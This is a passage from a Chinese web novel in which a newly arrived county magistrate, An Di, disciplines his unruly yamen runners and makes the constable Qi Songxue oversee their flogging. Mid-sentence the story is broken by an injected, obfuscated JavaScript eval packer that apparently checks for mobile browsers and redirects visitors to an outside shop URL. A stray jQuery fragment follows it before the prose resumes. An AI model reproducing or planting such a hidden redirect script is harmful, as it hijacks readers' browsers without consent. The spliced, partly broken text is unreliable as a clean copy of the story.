那夜里发生的事情,想来安狄已经猜到了七八分,不然不会说这么一番话。
到底是浸淫官场多年的老知县,这是夸赞,亦是警告。
她回身行礼:“卑职定当尽心竭力,做好分内之事。”
说罢,回到队伍里。
周遭的衙役开始窃窃私语,有点搞不清楚安知县的路数。
那边丁县丞怒气更盛,恶狠狠盯着祁颂雪。
既然这新来的大老爷是个好官,祁颂雪也不再惯着他,朝着丁县丞猛啐一口唾沫:“再看给你眼珠子挖出来!”
还不忘伸出食指和中指对着丁县丞狠狠挖了一下,唐大林有样学样,也跟着伸出手。
丁县丞被惹恼:“尔等贱民,污我县衙啊!”
这一嗓子声音洪亮,怕是衙门口看大门的都听得到。
其他人上赶着看热闹,哪还有一点在县衙里当差的沉稳?一群散兵游勇罢了。
亓官策抬手喝道:“肃静!”
众人这才收了声,齐齐看向安知县。
安狄扫视院中,目光如锋锐箭矢,不怒自威。
亓官策见状往后一躲,祁颂雪瞧着不妙,也拉着唐大林躲到廊下。
“哐当”一声,安狄直接抬手掀翻书案,断掉的桌腿不偏不倚刚好砸在丁县丞的背上。
也不知道安知县是有心还是无意。
安狄一个箭步冲了出去,揪起快班头子的衣领,高声道:“好,我看朝廷不用再给你们发什么年俸了,你们吃得很饱嘛!”
得,拍马屁拍到马蹄子上了。
大家脸上神色各异,动作倒是整齐划一,有一个算一个全都跪了下去。
“小人惶恐!”
“小的不敢!”
院子里响起此起彼伏的求饶声。
“念你们初犯,今日各杖十,不得钱赎,互相行刑,重打,连皮带肉到骨头,不得耍花招,升堂之前打完。”安狄看向祁颂雪,“你来监刑。”
“我?”
祁颂雪叫苦不迭。
这安知县看着安静,实则就是个属炮仗的,别人新官上任三把火,他直接火烧连营!还把自己也扯了进去,怪不得先拉拢自己呢,合着早就算到这一步了——
她这一监刑,日后在衙门里可就成“叛徒”了,那日子,想想都不好过。
“哎。”
便宜没有两处占的,祁颂雪只得接受。
唐大林浑然不觉祁颂雪水深火热的境地:“老大,新来的大老爷重用你啊,我们发达了!”
忍了一早上的亓官策败给唐大林,无奈一笑。
祁颂雪作揖
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16763034|189672||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
:“师爷见笑了。”
亓官策摆手:“不妨事,能活成这样不也挺好?”
是啊,不用直面这些污糟烂事。
祁颂雪想着,从腰间抽出鞭子,顺手摘下腰牌,扔给师爷:“师爷,劳您替我收好,日后我来取。”
亓官策笑着称是。
日晷又走了两刻钟,晨光落在院子里,廊下是一片阴影。
亓官策同唐大林并肩立在廊